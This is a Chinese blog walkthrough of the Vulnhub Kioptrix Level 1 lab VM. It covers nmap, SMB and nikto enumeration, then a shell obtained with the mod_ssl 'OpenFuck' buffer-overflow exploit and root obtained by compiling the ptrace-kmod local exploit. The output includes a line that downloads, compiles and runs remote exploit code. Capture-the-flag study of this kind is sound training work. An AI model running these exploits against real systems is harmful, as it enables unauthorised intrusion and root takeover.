首页 > 系统相关 >Vulnhub之Kioptrix Level 1靶机详细测试过程(不同的拿shell方法,利用OpenFuck漏洞)

Vulnhub之Kioptrix Level 1靶机详细测试过程(不同的拿shell方法,利用OpenFuck漏洞)

时间:2023-02-19 22:36:15浏览次数:44  
标签:Kioptrix 10.1 shell Level -- kali ssl Apache root

Kioptrix Level 1

作者: jason_huawen

靶机信息

名称:Kioptrix: Level 1 (#1)

地址:

https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

识别目标主机IP地址

(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix1-2]
└─$ sudo netdiscover -i eth1 -r 10.1.1.0/24
Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                              
                                                                                                                                                            
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                            
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 10.1.1.1        00:50:56:c0:00:01      1      60  VMware, Inc.                                                                                             
 10.1.1.129      00:0c:29:8c:8d:e9      1      60  VMware, Inc.                                                                                             
 10.1.1.254      00:50:56:ee:66:c6      1      60  VMware, Inc.     

利用Kali Linux自带的netdiscover工具识别目标主机IP地址为10.1.1.129

NMAP扫描

──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix1-2]
└─$ sudo nmap -sS -sV -sC -p- 10.1.1.129 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-19 08:50 EST
Nmap scan report for bogon (10.1.1.129)
Host is up (0.0012s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey: 
|   1024 b8746cdbfd8be666e92a2bdf5e6f6486 (RSA1)
|   1024 8f8e5b81ed21abc180e157a33c85c471 (DSA)
|_  1024 ed4ea94a0614ff1514ceda3a80dbe281 (RSA)
80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp   open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1          32768/tcp   status
|_  100024  1          32770/udp   status
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ssl-date: 2023-02-19T14:52:55+00:00; +1h01m51s from scanner time.
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T09:32:06
|_Not valid after:  2010-09-26T09:32:06
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|_    SSL2_RC4_64_WITH_MD5
|_http-title: 400 Bad Request
32768/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:8C:8D:E9 (VMware)

Host script results:
|_clock-skew: 1h01m50s
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.03 seconds

获得Shell

139端口

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix1-2]
└─$ smbclient -L 10.1.1.129                                
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        IPC$            IPC       IPC Service (Samba Server)
        ADMIN$          IPC       IPC Service (Samba Server)
Reconnecting with SMB1 for workgroup listing.
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful

        Server               Comment
        ---------            -------
        KIOPTRIX             Samba Server

        Workgroup            Master
        ---------            -------
        MYGROUP              KIOPTRIX
                                                                                                                                                             
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix1-2]
└─$ smbclient //10.1.1.129/ADMIN$
Password for [WORKGROUP\kali]:
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
tree connect failed: NT_STATUS_WRONG_PASSWORD

──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix1-2]
└─$ enum4linux 10.1.1.129                             
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Feb 19 08:52:25 2023

 =========================================( Target Information )=========================================
                                                                                                                                                             
Target ........... 10.1.1.129                                                                                                                                
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

SMB服务信息收集过程没有得到有价值的部分。

80端口

──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix1-2]
└─$ nikto -h http://10.1.1.129
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.1.1.129
+ Target Hostname:    10.1.1.129
+ Target Port:        80
+ Start Time:         2023-02-19 08:56:53 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server may leak inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep  5 23:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS).
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.


nikto工具运行结果说明目标主机存在Mod_ssl漏洞

                                                                                                                                                             
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix1-2]
└─$ searchsploit mod_ssl 2.8.4
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                             |  Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow                                                       | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)                                                 | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)                                                 | unix/remote/47080.c
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
                                                                                                                                                             
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix1-2]
└─$ searchsploit -m unix/remote/47080.c
  Exploit: Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)
      URL: https://www.exploit-db.com/exploits/47080
     Path: /usr/share/exploitdb/exploits/unix/remote/47080.c
    Codes: CVE-2002-0082, OSVDB-857
 Verified: False
File Type: C source, ASCII text
Copied to: /home/kali/Desktop/Vulnhub/Kioptrix1-2/47080.c


                                                                                                                                                             
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix1-2]
└─$ ls -alh
total 44K
drwxr-xr-x  2 kali kali 4.0K Feb 19 08:59 .
drwxr-xr-x 11 kali kali 4.0K Feb 19 08:49 ..
-rw-r--r--  1 kali kali  31K Feb 19 08:59 47080.c
-rw-r--r--  1 root root 2.4K Feb 19 08:51 nmap_full_scan

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Kioptrix1-2]
└─$ ./OpenFuck 0x6b 10.1.1.129 443 -c 50

*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Connection... 50 of 50
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f8050
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$ 
d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo 
--10:06:19--  https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... 
dl.packetstormsecurity.net: Host not found.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./exploit: No such file or directory
bash-2.05$ 
bash-2.05$ 

提权

由于本次测试中将目标主机设置为host-only,因此在执行OpenFuck代码过程的第二阶段需要连接互联网下载ptrace-kmod.c不能成功,可以在Kali Linux上下载该代码,然后通过python的http模块上传至目标主机。

bash-2.05$ gcc -o exploit ptrace-kmod.c
gcc -o exploit ptrace-kmod.c
bash-2.05$ ls
ls
exploit
p
ptrace-kmod.c
ptrace.c
bash-2.05$ chmod +x exploit
chmod +x exploit
bash-2.05$ ./exploit
./exploit
[+] Attached to 6225
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
cd /root
ls -alh
total 12k
drwxr-x---    2 root     root         1.0k Sep 26  2009 .
drwxr-xr-x   19 root     root         1.0k Feb 19 09:34 ..
-rw-r--r--    1 root     root         1.1k Aug 23  1995 .Xresources
-rw-------    1 root     root          147 Oct 12  2009 .bash_history
-rw-r--r--    1 root     root           24 Jun 10  2000 .bash_logout
-rw-r--r--    1 root     root          234 Jul  5  2001 .bash_profile
-rw-r--r--    1 root     root          176 Aug 23  1995 .bashrc
-rw-r--r--    1 root     root          210 Jun 10  2000 .cshrc
-rw-r--r--    1 root     root          196 Jul 11  2000 .tcshrc
-rw-r--r--    1 root     root         1.3k Sep 26  2009 anaconda-ks.cfg


成功得到目标主机的shell.

标签:Kioptrix,10.1,shell,Level,--,kali,ssl,Apache,root
From: https://www.cnblogs.com/jason-huawen/p/17135802.html

相关文章

  • powershell-批量创建AD用户
    #批量创建AD用户并使用随机密码,将账户密码输出$users=Get-Content-Path"C:\Users\Username\Documents\userlist.txt"foreach($userin$users){$FirstInitial=($u......
  • powershell-管理windows update自动补丁更新
    #需要使用powershell5.0以上版本Install-ModulePSWindowsUpdate#检查管理员权限if(-not([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]:......
  • shell正则表达式和awk
    一、正则表达式注意事项:使用正则表达式必须加引号。正则表达式主要用来匹配字符串(命令结果,文本内容) 通配符匹配文件(而且是已存在的文件)基本正则表达式扩展正则......
  • xshell链接virtualbox 虚拟机 CentOs7
    安装虚拟机​​点击下载​​安装xshell​​点击下载​​(填写邮箱,邮箱里下载)下载CentOs​​点击下载CentOs7​​创建虚拟机,安装刚刚下载的镜像如图设置:xshell设置:如果失败,......
  • github 私有仓库linux下免输入账号密码 ||php shell_exec webhook自动化部署||如何使w
    github私有仓库linux下免输入账号密码cd~/touch.git-credentialsvim.git-credentials内容为:https://{username}:{password}@github.com比如https://account:password......
  • Xshell链接远程服务器报错
     报错内容: 1、首先:在Linux服务器上输入ps-e|grepssh 判断是否有ssh服务  以上只有客户端。2、进行ssh配置,  3、如果出现报错,无法配置,在Linux服务器......
  • 基于firewalld的防爆shell脚本
    统计ssh非法暴破源ip在维护linux服务器中,当开启sshd服务时,总会有一些不怀好意的访问者要来试探一下弱口令,假若访问失败的日志文件为/var/log/secure,总是手动来翻日志,也是麻......
  • Shell命令-常用操作
    Shell基础1Shell命令的基本格式基本格式command[选项][参数][]表示可选的,也就是可有可无。有些命令不写选项和参数也能执行,有些命令在必要的时候可以附带选项和参......
  • Hadoop-HDFS-shell命令
      第2章HDFS的Shell操作(开发重点)2.1基本语法hadoopfs具体命令 OR hdfsdfs具体命令两个是完全相同的。2.2命令大全[[email protected]]$......
  • PowerShell 脚本自动执行 Azure 任务
    PowerShell脚本自动执行Azure任务Azure提供了三种管理工具:Azure门户:Azure门户是一个网站,可在其中创建、配置和更改Azure订阅中的资源,该门户是一个图形用户界面......